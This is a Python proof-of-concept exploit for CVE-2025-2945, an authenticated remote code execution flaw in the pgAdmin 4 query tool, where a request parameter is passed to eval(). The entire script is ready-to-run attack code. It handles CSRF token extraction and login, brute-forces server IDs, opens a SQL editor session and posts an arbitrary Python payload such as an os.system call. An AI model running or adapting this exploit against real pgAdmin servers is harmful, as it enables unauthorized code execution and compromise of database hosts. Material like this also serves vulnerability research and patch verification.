#!/usr/bin/env python3
"""
CVE-2025-2945 - pgAdmin 4 Query Tool Authenticated RCE
Affected: pgAdmin 4 versions 8.10 - 9.1
Fixed in: pgAdmin 4 version 9.2

The query tool endpoint passes the `query_commited` parameter directly to Python's
eval() without sanitization, allowing arbitrary Python code execution under the
pgAdmin service account.

Usage:
    python3 poc.py --rhost <host> --username <email> --password <pass> \
        --db-user <dbuser> --db-pass <dbpass> --db-name <dbname> \
        --payload "__import__('os').system('id')"
"""
import argparse
import random
import re
import sys
from urllib.parse import urljoin

import requests
from faker import Faker

fake = Faker()


class PgAdminExploit:
    def __init__(self, args):
        self.base_url = f"http://{args.rhost}:{args.rport}"
        self.username = args.username
        self.password = args.password
        self.db_user = args.db_user
        self.db_pass = args.db_pass
        self.db_name = args.db_name
        self.max_server_id = args.max_server_id
        self.payload = args.payload
        self.session = requests.Session()
        self.session.headers["User-Agent"] = "Mozilla/5.0"
        self._csrf = None

    def _url(self, path):
        return urljoin(self.base_url, path)

    def get_csrf_token(self, from_page="/login"):
        if self._csrf and from_page != "/login":
            return self._csrf

        resp = self.session.get(self._url(from_page), allow_redirects=True)

        for ck in ("pga_csrf_token", "pgaCookieCsrfToken", "csrftoken"):
            if ck in self.session.cookies:
                return self.session.cookies[ck]

        # Older pgAdmin: hidden input field
        marker = 'name="csrf_token" value="'
        idx = resp.text.find(marker)
        if idx != -1:
            start = idx + len(marker)
            end = resp.text.find('"', start)
            if end != -1:
                return resp.text[start:end]

        # pgAdmin 9.x: token embedded in window.renderSecurityPage() JSON
        m = re.search(r'"csrfToken"\s*:\s*"([^"]+)"', resp.text)
        if m:
            return m.group(1)

        sys.exit("[!] Could not extract CSRF token")

    def authenticate(self):
        print("[*] Authenticating...")
        self._csrf = self.get_csrf_token("/login")

        resp = self.session.post(
            self._url("/authenticate/login"),
            data={"email": self.username, "password": self.password, "csrf_token": self._csrf},
            headers={"Referer": self._url("/login"), "X-pgA-CSRFToken": self._csrf},
            allow_redirects=True,
        )
        # Fallback for pgAdmin 8.x which uses /login directly
        if resp.status_code not in (200, 302, 303):
            resp = self.session.post(
                self._url("/login"),
                data={"email": self.username, "password": self.password, "csrf_token": self._csrf},
                headers={"Referer": self._url("/login"), "X-pgA-CSRFToken": self._csrf},
                allow_redirects=True,
            )
        if resp.status_code != 200:
            sys.exit(f"[!] Login failed: {resp.status_code}")
        print("[+] Authenticated")

    def find_valid_server_id(self, sgid):
        for sid in range(1, self.max_server_id + 1):
            print(f"[*] Trying sgid={sgid} sid={sid}")
            resp = self.session.get(
                self._url(f"/sqleditor/get_server_connection/{sgid}/{sid}"),
                headers={"X-pgA-CSRFToken": self._csrf},
            )
            try:
                if resp.json().get("data", {}).get("status"):
                    print(f"[+] Found valid server: sgid={sgid} sid={sid}")
                    return sid
            except ValueError:
                continue
        sys.exit("[!] No valid server ID found. Try --max-server-id")

    def init_sqleditor(self, trans_id):
        sgid = random.randint(1, 10)
        did = random.randint(10000, 99999)
        sid = self.find_valid_server_id(sgid)

        print(f"[*] Initializing sqleditor (trans={trans_id} sgid={sgid} sid={sid} did={did})")
        resp = self.session.post(
            self._url(f"/sqleditor/initialize/sqleditor/{trans_id}/{sgid}/{sid}/{did}"),
            json={"user": self.db_user, "password": self.db_pass, "role": "", "dbname": self.db_name},
            headers={"Content-Type": "application/json", "X-pgA-CSRFToken": self._csrf},
        )
        if resp.status_code != 200:
            sys.exit(f"[!] sqleditor init failed: {resp.text[:200]}")
        print("[+] sqleditor initialized")

    def exploit(self):
        self.authenticate()

        trans_id = random.randint(1_000_000, 9_999_999)
        self.init_sqleditor(trans_id)

        print("[*] Sending payload...")
        resp = self.session.post(
            self._url(f"/sqleditor/query_tool/download/{trans_id}"),
            json={"query_commited": self.payload},
            headers={
                "Content-Type": "application/json",
                "X-pgA-CSRFToken": self._csrf,
                "Referer": self._url(f"/sqleditor/panel/{trans_id}?is_query_tool=true"),
            },
        )

        if resp.status_code == 500:
            print("[+] Got 500 response — payload executed")
        else:
            print(f"[!] Unexpected status {resp.status_code}: {resp.text[:300]}")


def main():
    p = argparse.ArgumentParser(description="CVE-2025-2945 pgAdmin 4 RCE PoC")
    p.add_argument("--rhost", required=True, help="Target host (no scheme)")
    p.add_argument("--rport", type=int, default=80)
    p.add_argument("--username", required=True, help="pgAdmin email")
    p.add_argument("--password", required=True)
    p.add_argument("--db-user", dest="db_user", required=True)
    p.add_argument("--db-pass", dest="db_pass", required=True)
    p.add_argument("--db-name", dest="db_name", required=True)
    p.add_argument("--payload", required=True, help="Python expression for eval(), e.g. \"__import__('os').system('id')\"")
    p.add_argument("--max-server-id", dest="max_server_id", type=int, default=10)
    args = p.parse_args()

    PgAdminExploit(args).exploit()


if __name__ == "__main__":
    main()